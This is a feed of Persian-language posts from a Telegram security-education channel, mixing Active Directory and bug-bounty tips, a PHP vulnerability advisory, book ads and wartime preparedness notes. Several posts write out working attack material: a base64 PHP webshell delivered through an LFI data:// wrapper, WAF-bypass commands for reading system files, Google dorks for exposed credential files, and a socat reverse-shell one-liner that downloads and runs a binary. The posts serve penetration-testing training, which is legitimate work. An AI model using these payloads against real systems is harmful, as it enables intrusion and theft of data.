Try Hack Box — پست‌های کانال تلگرام

10 اکتبر 2026

Try Hack Box

در Active Directory، همه Service Accountها ارزش یکسانی برای مهاجم ندارند. فرض کن در یک Internal Pentest به چند Service Account دسترسی پیدا کردی. اینکه صرفاً Password یکی از آنها ضعیف باشد، تمام ماجرا نیست. باید بفهمی آن Account کجا استفاده میشود و چه دسترسی‌ هایی دارد. برای بررسی، چند سؤال مهم وجود دارد: 🔹 چه SPNهایی به این Account اختصاص داده شده؟ 🔹 آیا برای چند سرویس مختلف استفاده میشود؟ 🔹 چه Privilegeهایی دارد؟ 🔹 آیا روی سرورها دسترسی Local Administrator دارد؟ 🔹 آیا Password آن قدیمی است یا در چند سرویس استفاده شده؟ 🔹 آیا امکان جایگزینی آن با gMSA وجود دارد؟ حالا یک سناریو را در نظر بگیر. یک Service Account برای اجرای یک سرویس قدیمی استفاده میشود. Password آن مدت‌هاست تغییر نکرده و همان Account روی چند سیستم دسترسی دارد. اگر مهاجم بتواند Credential این Account را به دست بیاورد، میزان دسترسی‌ ای که از آن استفاده میکند به Permissionها و محل استفاده از Account بستگی دارد. اینجاست که بررسی Service Account اهمیت پیدا میکند. در Kerberoasting، مهاجم میتواند برای SPNهای ثبت‌شده درخواست TGS بفرستد و Material مربوط به Ticket را به‌ صورت Offline برای حدس زدن Password بررسی کند. اما موفقیت این مرحله به‌تنهایی به معنی دسترسی به کل Domain نیست. اگر Password حساب قوی باشد، دسترسی‌ های آن محدود باشند و از Credentialها به‌درستی نگهداری شود، مسیر حمله میتواند همانجا متوقف شود. از سمت دفاع، چند اقدام مشخص اهمیت دارند: ▪️ استفاده از Passwordهای طولانی و تصادفی ▪️ استفاده از gMSA در سرویس‌ های سازگار ▪️ حذف SPNهای غیرضروری ▪️ محدود کردن Privilegeهای Service Account ▪️ بررسی Password Reuse و دسترسی‌ های غیرضروری ▪️ مانیتور درخواست‌ های غیرعادی TGS و تغییرات SPN در Active Directory، اسم یک Account به‌ تنهایی چیزی درباره میزان ریسک آن نمیگوید. باید بفهمی آن Account چه چیزی را اجرا میکند، به کجا دسترسی دارد و اگر Credential آن افشا شود، مهاجم از چه مسیری میتواند ادامه بدهد. این دقیقاً بخشی از تحلیل Attack Path در یک Internal Pentest واقعی است. به نظر شما در تحلیل ریسک Service Accountها، کدام مورد خطرناک‌تر است: Password ضعیف، دسترسی‌ های بیش‌ازحد (Excessive Privileges)… خواندن کامل ←

❤3

13 · 979 · 12:25

عکس

📚 مجموعه کتابهای کاربردی در دنیای امنیت مهارت واقعی با خواندن شروع میشود، اما با تمرین و تجربه ساخته میشود؛ کتابی را انتخاب کن که قدم بعدی تو در مسیر حرفه‌ای شدن باشد. 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته. 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰ تومان 📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰ تومان 📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی 📕 جزئیات بیشتر کتاب 💰 قیمت : ۳۶۰ تومان 📖 کتابچه Kerberos For Pentesters 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۶۹ تومان ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

❤2

13 · 900 · 19:58

12 اکتبر 2026

Try Hack Box

عکس

🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن. 🔥 ۲. ابزارها بدون دانش core هیچی نیستن. 🔥 ۳. دنبال کردن باگ‌ های basic تو رو elite نمیکنه. ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی‌ ها رو. 🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن. کدوم نکته‌ش برات جالب‌ تر بود ؟ @TryHackBox #باگ_بانتی

❤9

22 · 1.1K · 17:32

14 اکتبر 2026

Try Hack Box

🧠 نکته باگ بانتی حملات Denial of Wallet 💸 شنیدی Denial of Service رو... اما Denial of Wallet چی؟ 🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه. 🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده. 💥 تارگت‌های رایج در برنامه‌های باگ بانتی: Cloud Functions (مثل AWS Lambda، Azure Functions) مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈. Email/SMS APIs مثال: feature signup/login OTP via Twilio یا SendGrid می‌ فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی. AI Chatbots (مثل OpenAI، Claude APIs) مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه. 💡 الهام واقعی از دنیای واقعی طبق مقاله PortSwigger: "یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد." تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه. 🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی: ⦁ Public feature هایی که server-side logic trigger میکنن ⦁ APIها بدون authentication یا usage cap ⦁ بدون CAPTCHA یا rate-limiting ⦁ LLM-based botها یا dynamic content generation بدون user restriction ⦁ فرصت‌ های abuse email/SMS OTP یا notification ✅ نکته‌ها قبل از Report: ⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.") ⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting) ⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap 💰 این باگ‌ها اغلب plain sight مخفی‌ ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن. کدوم DoW attack رو در cloud … خواندن کامل ←

❤6

26 · 918 · 17:41

16 اکتبر 2026

Try Hack Box

پیوند
برای نمایش کلیک کنید

اPass the Hash هنوز هم بعد از این همه سال کار میکنه. چرا؟ چون بخشی از معماری احراز هویت ویندوز هست و کامل پچ نمیشه. به‌ جای کرک کردن پسورد، مستقیم با NTLM Hash احراز هویت میکنی. ادامه رشته توییت https://x.com/KavehxNet/status/2110953930486083996

🔥2❤1

9 · 673 · 04:40

عکس

نکته باگ بانتی PDF Keyword Crawler شکار اطلاعات حساس در PDFهای عمومی؟ 🧩 از PDF Keyword Crawler add-on فایرفاکس استفاده کن 📁 urls.txtت رو لود کن (با لینک‌های.pdf) 🔑 خودکار برای keywordهای حساس اسکن می‌کنه! 🧠 عالی برای کشف leaked secrets، creds یا internal docs. 👉 Add-on: https://addons.mozilla.org/es-AR/firefox/addon/pdf-keyword-crawler/ https://ott3rly.com/mass-hunting-for-leaked-sensitive-documents/ کدوم keyword رو در PDF Crawler اضافه کردی که secret leakشده شکار کرد؟ تجربت رو کامنت کن @TryHackBox #باگ_بانتی

❤2

18 · 810 · 10:02

پاسخدر این شرایط بحرانی، حفظ امنیت و سلامت خود و خانواده ‌تان از اهمیت ویژه ‌ای برخوردار است. لطفاً به دقت مراقب یکدیگر باشید و اقلام ضروری را تهیه کنید. • ذخیره مواد غذایی خشک و غیرپرمصرف: حداقل یک هفته. • آب آشامیدنی: سازمان ‌های امدادی معمولاً 2–3 لیتر به ازای هر نفر در روز پیشنهاد می‌کنند (برای 3

⚠️ موج بعدی جنگ به زودی شروع میشه . نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری‌ ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش‌ بینی قطعی نیست؛ بااین‌ حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم. از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند: ۱. ارتباط و دسترسی به اینترنت راه‌ های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید. شماره تلفن‌ های مهم را خارج از گوشی نیز یادداشت کنید. اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی‌ مدت برنامه جایگزین داشته باشید. ۲. امنیت اطلاعات و دارایی‌ های دیجیتال از فایل‌ ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید. نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید. دسترسی به حساب‌ های مهم، ایمیل بازیابی و روش‌ های احراز هویت دومرحله‌ای را بررسی کنید. مراقب اخبار تأیید نشده باشید. ۳. آمادگی‌ های ضروری در منزل آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک‌ های اولیه را برای چند روز در دسترس داشته باشید. چراغ‌ قوه، باتری یا پاوربانک شارژ شده آماده کنید. مدارک هویتی، نسخه داروها، مقداری پول نقد و شماره‌های اضطراری را در دسترس قرار دهید. ۴. برنامه‌ ریزی برای شرایط اضطراری با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید. مسیرهای خروج و مکان‌ های امن نزدیک محل زندگی یا کار را بشناسید. ۵. مدیریت اخبار و تصمیم‌ ها خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید. تصمیم‌ های مهم را صرفاً بر اساس پیام‌ های ناشناس یا پیش‌بینی‌ های تأییدنشده نگیرید. اگر برای کار یا فعالیت‌ های روزمره به زیرساخت‌ های آنلاین وابسته‌اید، برای وقفه احتمالی از قبل برنامه داشته باشید. این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم‌ های ضروری را با آرامش و آمادگی بیشتری بگیریم. هیچ‌ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم. مراقب خودتان و عزیزانتان باشید. — TryHackBox

😢2❤2

15 · 856 · 18:03

🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡ LFI داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن: مثال param vulnerable: page=../../../../etc/passwd حالا PHP shellت رو با base64 encoding بساز: echo '<?php system($_GET["cmd"]);?>' | base64 نتیجه رو می‌گیری: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= URL-encodeش کن: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D Payload نهایی (با data:// wrapper): page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id BOOM! Remote Code Execution. 💥 من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم. کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن @TryHackBox #باگ_بانتی

❤1🤔1👍1

19 · 861 · 18:45

17 اکتبر 2026

Try Hack Box

نظرسنجی
گزینه‌ها و نتایج — در Telegram ↗

1 · 779 · 05:03

18 اکتبر 2026

Try Hack Box

⚡ سری Bash برای باگ هانترها قسمت ۲ چندین folder رو با one-liner بساز: mkdir {dev,test,prod} این command همزمان ۳ directory (dev، test، prod) میسازه. ایجاد چندین File به طور Efficient: touch {file1,file2,file3}.txt Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن. تولید Fileها با Numeric Sequences: seq -w 1 10 | xargs -I {} touch file{}.txt این sequence fileهایی مثل: file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه. با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! فراموش نکن react کن 🔥 @TryHackBox #باگ_بانتی

🔥2

8 · 230 · 20:16

20 اکتبر 2026

Try Hack Box

یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی. اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن. ۱. Exposed.env Files intitle:"Index of" ".env" "DB_PASSWORD" filetype:env "APP_ENV=local" | "DB_HOST=127.0.0.1" ۲. Exposed SQLite Databases intitle:"Index of" ".sqlite" intitle:"Index of" "db.sqlite" filetype:sqlite | filetype:sqlite3 | filetype:db ۳. Misconfigured Laravel یا Public Folder Exposure inurl:/public/.env inurl:/public/db.sqlite intitle:"Index of" inurl:/public/ ۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive) intitle:"Index of" "backup" intitle:"Index of" "config" ext:sql | ext:bak | ext:old | ext:backup ۵. Generic Index Dump intitle:"Index of /" +passwd intitle:"Index of /" +passwords قبل از استفاده از این dorkها، scopeت رو با site:target.com narrow down کن، بعد dork خاص رو apply کن تا فقط روی تارگتت focus کنی. کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن @TryHackBox #باگ_بانتی

16 · 325 · 18:48

21 اکتبر 2026

Try Hack Box

⏰ PERSISTENCE SERIES | PART 3 Scheduled Tasks وقتی خود سیستم دوباره چیزی رو اجرا میکنه. اScheduled Taskها بخش کاملاً طبیعی Windows هستن. Backup? Maintenance? Updates? Monitoring? همه میتونن از Scheduled Task استفاده کنن. اما همین قابلیت باعث میشه در یک Security Assessment ارزش بررسی داشته باشه. چرا؟ چون یک Task می‌تونه مشخص کنه: چه چیزی اجرا بشه، چه زمانی اجرا بشه، با چه User Contextای اجرا بشه، و تحت چه شرایطی Trigger بشه. 🔎 بنابراین یک Task غیرعادی میتونه یک Persistence Indicator باشه. ولی فقط اسم Task رو نگاه نکنید. این موارد هم مهم هستن: 🔹 Executable Path 🔹 Trigger 🔹 User Context 🔹 Creation / Modification Time 🔹 Parent / Child Process Relationship و یک نکته مهم: یک Task عجیب به‌تنهایی ثابت نمی‌کنه که مخربه. مثل همیشه، Context مهمه. 🎯 سؤال: فرض کنید بین یک Scheduled Task ناشناس و یک Registry Run Key ناشناس، فقط اجازه بررسی یکی رو دارید. کدوم رو در اولویت قرار میدید؟ و مهم‌تر از اون، چرا؟ 👇 استدلالتون رو بنویسید. @TryHackBox #TryHackBox #CyberSecurity #Persistence #ScheduledTasks #WindowsSecurity #RedTeam #Red_Team

1 · 47 · 03:25

22 اکتبر 2026

Try Hack Box

ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود تصور کنید یک آسیب‌ پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش‌ ها برای سوءاستفاده از آن به راه می‌ افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به‌ روزرسانی‌ ها وجود ندارد. طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه‌ های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده‌ اند. در این گزارش، امتیاز شدت هر دو آسیب‌ پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش‌ ها برای exploitation از آن‌ ها صحبت شده است. توجه: پیش از استناد به شناسه‌ ها، امتیاز ها، آمار حملات و نسخه‌ های اصلاح‌ شده، اطلاعیه‌ های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید. 🔍 مشکل دقیقاً چیست؟ بر اساس اطلاعات گزارش‌ شده، این دو آسیب‌ پذیری به نحوه مدیریت حافظه در PHP مربوط هستند: ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت. ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می‌ تواند زمینه‌ ساز رفتار غیرمنتظره یا اجرای حمله شود. خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف‌ ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن‌ ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند. 🎯 چه کسانی باید نگران باشند؟ اگر سرور یا وب‌ سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط‌ های زیر اهمیت داشته باشد: Apache با mod_php Nginx با PHP-FPM LiteSpeed و FrankenPHP وب‌سایت‌ های WordPress و سایر برنامه‌ های مبتنی بر PHP البته استفاده از این فناوری‌ ها به‌ تنهایی به معنای آسیب‌ پذیر بودن سرور نیست؛ 🛡️ چه کارهایی باید انجام دهید؟ ۱. نسخه PHP را بررسی کنید. php -v این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب‌ سرور را هم بررسی کنید. ۲. وضعیت پچ امنیتی را مشخص کنید. اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیب‌پذیر، به نسخه اصلاح‌ شده و پشتیبانی‌ شده ارتقا دهید. شماره نسخه‌ ها… خواندن کامل ←

52 · 3.4K · 19:28

23 اکتبر 2026

Try Hack Box

دوستانی که علاقه مندان به تدریس دوره های پایه مقدماتی در زمینه امنیت سایبری و شبکه و لینوکس هستند و از جمله دوره های اوسینت با ایدی زیر با ما در تماس باشید : @ThbxSupport

4 · 1.8K · 08:11

26 اکتبر 2026

Try Hack Box

🔥 سری Bypass برای باگ هانترها قسمت ۲ Crazy WAF Bypass: cat /etc/hosts - WAF رو trigger میکنه xxd -p /etc/hosts | xxd -p -r xargs -d '\n' -I{} echo {} < /etc/hosts perl -pe '' /etc/hosts sed '' /etc/hosts awk '{print}' /etc/hosts dd if=/etc/hosts 2>/dev/null کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن. کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟ @TryHackBox #باگ_بانتی

45 · 2.4K · 20:18

27 اکتبر 2026

Try Hack Box

نکات تخصصی ردتیمینگ | بخش اول: Password Spraying در حمله‌ی Password Spraying، به‌جای اینکه چندین پسورد مختلف رو روی یک حساب امتحان کنیم، چند پسورد رایج رو روی تعداد زیادی حساب تست می‌کنیم. هدف اینه که ببینیم آیا می ‌شه با استفاده از رمزهای قابل ‌حدس، به یکی از حساب ‌های سازمان دسترسی پیدا کرد یا نه. چند نکته که موقع بررسی این تکنیک باید بهشون توجه کنیم: ۱. انتخاب هدف همه ‌ی حساب ‌ها به یک اندازه مهم نیستن. حساب ‌هایی که دسترسی بیشتری دارن یا به اطلاعات حساس وصل هستن، از نظر امنیتی اهمیت بالاتری دارن. ۲. بررسی الگوهای رمز عبور رمزهای رایج، پسوردهای پیش ‌فرض و رمزهایی که بر اساس اسم سازمان یا اطلاعات عمومی انتخاب میشن ، میتونن امنیت حساب ‌ها رو به خطر بندازن. شناخت این الگوها کمک می ‌کنه نقاط ضعف احتمالی رو بهتر بررسی کنیم. ۳. شناسایی حساب ‌های معتبر باید بدونیم چه حساب ‌هایی در محدوده‌ی تست قرار دارن و سامانه در برابر نام کاربری معتبر و نامعتبر چه واکنشی نشون میده. این بررسی می‌ تونه اطلاعات مفیدی درباره ‌ی نحوه ‌ی پیاده ‌سازی احراز هویت در اختیارمون بذاره. ۴. زمان ‌بندی تست زمان اجرای تست میتونه روی نحوه‌ی شناسایی فعالیت ‌ها تأثیر بذاره. بهتره زمان‌ بندی از قبل مشخص باشه تا هم شرایط واقعی سازمان در نظر گرفته بشه و هم تست باعث اختلال در سرویس ‌ها نشه. ۵. بررسی آدرس IP و منابع اتصال تغییر آدرس IP لزوماً باعث مخفی موندن فعالیت نمیشه. تیم دفاعی میتونه رویدادهای ورود رو از منابع مختلف کنار هم قرار بده و با بررسی الگوهای مشترک، فعالیت مشکوک رو تشخیص بده. ۶. فاصله ‌ی بین تلاش ‌های ورود تعداد درخواست ‌ها و فاصله‌ی زمانی بین اون ‌ها میتونه روی عملکرد مکانیزم ‌های دفاعی تأثیر بذاره. در تست نفوذ باید بررسی کنیم که سامانه چطور درخواست ‌های پرتکرار رو مدیریت می ‌کنه و آیا فعالیت‌ های مشکوک به ‌درستی ثبت میشن یا نه. ۷. بررسی سیاست قفل حساب باید بدونیم بعد از چند تلاش ناموفق، حساب محدود یا قفل میشه و این محدودیت چه مدت ادامه داره. تنظیم نادرست این سیاست میتونه هم امنیت حساب‌ ها رو کاهش بده و هم زمینه‌ ی اختلال در دسترسی کاربران رو فراهم کنه. ۸. توجه به حساب‌های حساس و دارای دسترسی بالا حساب‌ های ادمین و حساب‌ هایی که دسترسی ویژه دارن، اهمیت بیشتری دارن؛ چون در صورت دستر… خواندن کامل ←

14 · 1.2K · 19:22

28 اکتبر 2026

Try Hack Box

عکس

⚡لیستی از ۱۰۰ آسیب‌ پذیری وب @TryHackBox #آسیب_پذیری

126 · 2.5K · 10:20

29 اکتبر 2026

Try Hack Box

ویدیو
3753904625901382214.mp4 · 6.0 MB

روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد. ۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی‌ پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران @TryHackBox

7 · 2.6K · 06:00

31 اکتبر 2026

Try Hack Box

🔥 سری Bash برای باگ هانترها قسمت ۲ دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: rlwrap -cAr nc -lvnp <port> یا rlwrap -f. -r nc -lnvp <port> حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts). برای full interactive keyboard controls، از socat interactive shell استفاده کن: در سمت attacker: socat file:tty,raw,echo=0 tcp-listen:<port> اگر error داد، امتحان کن: socat file:$(tty),raw,echo=0 tcp-listen:<port> در سمت victim (برای full TTY reverse shell): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port> اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port> برای stop کردن socat: ps aux | grep socat Kill -9 socat <PID> نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID. کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟ @TryHackBox #باگ_بانتی

❤3

43 · 2.8K · 21:09

1 نوامبر 2026

Try Hack Box

پیوند
برای نمایش کلیک کنید

دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست . کانال ما در بله https://ble.ir/TryHackBox

❤8

13 · 1.1K · 10:59

3 نوامبر 2026

Try Hack Box

فایل
Python for Pentesters - s.pdf · 234 KB · برای نمایش کلیک کنید

📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می ‌کند. هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است. نحوه همکاری: همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه‌ های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می ‌شود. 🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه ‌مند به همکاری در تولید یک دوره تخصصی و پروژه‌ محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید. 📌 سرفصل ها دوره در فایل موجود است . 📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید: @THBxSupport

17 · 1.8K · 10:24

4 نوامبر 2026

Try Hack Box

🔥 سری Bypass برای باگ هانترها قسمت ۴ Crazy WAF Bypass: cat /etc/hosts - WAF رو trigger میکنه rev /etc/hosts | rev od -An -c /etc/hosts | tr -d ' ' cat $HOME/../../etc/hosts cat ${PWD}/../../../etc/hosts grep "" /etc/hosts cut -c1- /etc/hosts paste /etc/hosts بچه‌ ها، در مورد این تکنیک‌ های WAF bypass که ساختم چی فکر میکنین؟ صبر کنین برای آخرین قسمت واقعا عالیه! کدوم یکی رو اول امتحان میکنی یا آماده قسمت آخر هستی؟ @TryHackBox #باگ_بانتی

❤‍🔥2

15 · 696 · 03:57

فایل
Network Reconnaissance & Service Enumeration tryhackbox.pdf · 94 KB · برای نمایش کلیک کنید

📌 دعوت به همکاری برای تدریس مینی دوره Network Reconnaissance مجموعه TryHackBox برای تولید و انتشار مینی دوره تخصصی Network Reconnaissance & Service Enumeration از متخصصان و فعالان حوزه امنیت شبکه و تست نفوذ دعوت به همکاری میکند. هدف این مینی دوره، آموزش عملی شناسایی زیرساخت شبکه، کشف هاست های فعال، اسکن پورت‌ ها، شناسایی سرویس‌ ها و استخراج اطلاعات فنی از سرویس‌ های شبکه در محیط آزمایشگاهی است. ➖ مدت دوره: ۸ ساعت 📌 سرفصل ها دوره در فایل موجود است . ⭕ متخصصانی که در این حوزه تجربه عملی و توانایی تولید محتوای آموزشی دارند، می‌توانند برای اعلام آمادگی همکاری و دریافت جزئیات بیشتر با ما در ارتباط باشند . جهت جزئیات بیشتر پیام دهید : @ThbxSupport

5 · 354 · 15:01

5 نوامبر 2026

Try Hack Box

عکس

📖 نقشه راه شروع باگ بانتی برای مبتدیان اگر می‌خواهید باگ ‌بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست. در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم. برای مشاهده به لینکدین مراجعه کنید : https://lnkd.in/p/dtB9MXg5 اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم می‌تواند نقطه شروع مناسبی باشد. 📩 @THBxSupport 🆔 @TryHackBox 🆔 @TryHackBoxOfficial > RoadMap 🆔 @AiTHB > Ai Security 🆔 @RadioZeroPod > Podcast

🔥1

14 · 224 · 08:30